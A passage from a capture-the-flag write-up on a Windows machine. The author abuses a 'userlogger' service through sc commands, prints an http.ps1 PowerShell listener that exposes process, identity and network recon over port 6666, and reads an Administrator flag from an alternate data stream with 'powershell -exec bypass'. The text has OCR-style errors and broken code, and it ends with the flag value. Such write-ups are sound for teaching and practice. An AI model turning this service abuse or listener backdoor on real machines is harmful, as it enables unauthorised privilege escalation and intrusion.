C:\Windows\System32>sc stop userlogger sc stop userlogger SERVICE\_NAME: userlogger TYPE : 10 WIN32 OWN PROCESS STATE : 3 STOP\_PENDING (NOT STOPPABLE, NOT PAUSABLE, IGNORES SHUTDOWN) WIN32 EXIT CODE : 0 ( $0 \times 0$ ) SERVICE\_EXIT\_CODE : 0 (0x0) : 0x4 CHECKPOINT WAIT HINT : 0x0 C:\Windows\System32>sc start userlogger C:\inetpub\wwwroot\http.ps1:test sc start userlogger C:\inetpub\wwwroot\http.ps1:test SERVICE\_NAME: userlogger TYPE : 10 WIN32 OWN PROCESS STATE : 2 START PENDING (NOT STOPPABLE, NOT PAUSABLE, IGNORES SHUTDOWN) WIN32\_EXIT\_CODE : 0 (0x0) SERVICE EXIT CODE : 0 (0x0) : 0×0 CHECKPOINT : 0x7d0 WAIT HINT PID : 3600 FLAGS

• • •

type http.ps1

```
:\inetpub\wwwroot>type http.psl
type http.psl
function Load-Packages
   param ([string] $directory = 'Packages')
    $assemblies = Get-ChildItem $directory -Recurse -Filter '*.dll' | Select -Expand FullName
    foreach ($assembly in $assemblies) { [System.Reflection.Assembly]::LoadFrom($assembly) }
Load-Packages
$routes = @{
        "/" = {'Missing Command!' | ConvertTo-Json}
"/hello" = { 'hello donkey!' | ConvertTo-Json}
"/help" = { 'hello,proc,whoami,list,info,services,netsat,ipconfig' | ConvertTo-Json}
        "/proc" = { Get-Process | select name, id, path | ConvertTo-Json }
"/whoami" = {[security.principal.windowsidentity]::GetCurrent()| ConvertTo-Json }
        "/list" = { Get-childitem | select name, length| ConvertTo-Json }
        "/ipconfig" = { get-netipconfiguration | ConvertTo-Json
$url = 'http://+:6666/'
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add($url)
$listener.Start()
while ($listener.IsListening)
    $context = $listener.GetContext()
    $requestUrl = $context.Request.Url
    $response = $context.Response
   #Write-Host ''
    #Write-Host "> $requestUrl"
    $localPath = $requestUrl.LocalPath
    $route = $routes.Get_Item($requestUrl.LocalPath)
    if ($route -eq $null)
    ł
        $response.StatusCode = 404
    }
   else
```

We than trick it to read root.txt sc stop userlogger sc start userlogger C:\Users\Administrtaor\Desktop\root.txt type C:\Users\administrator\Desktop\root.txt (This doesnt work. By chance I tried PowerShellI)

powershell get-content C:\Users\Administrator\Desktop\root.txt



Well Fuck me.

PWN ROOT FLAG

After some more hard headedness and trying different things we finally got it. The flag was on an alternate data stream.

Our mistake earlier was using command prompt.

Type is really Set-Location in PowerShell. In order to use the : switch it needs to be run in PS

powershell -exec bypass -c "type C:\Users\Administrator\Desktop\root.txt:flag.txt"

6d29b069d4de8eed1a2f1e62f7d02515

C:\Users>powershell -exec bypass -c "cat C:\Users\Administrator\Desktop\root.txt:flag.txt" powershell -exec bypass -c "cat C:\Users\Administrator\Desktop\root.txt:flag.txt" 6d29b069d4de8eed1a2f1e62f7d02515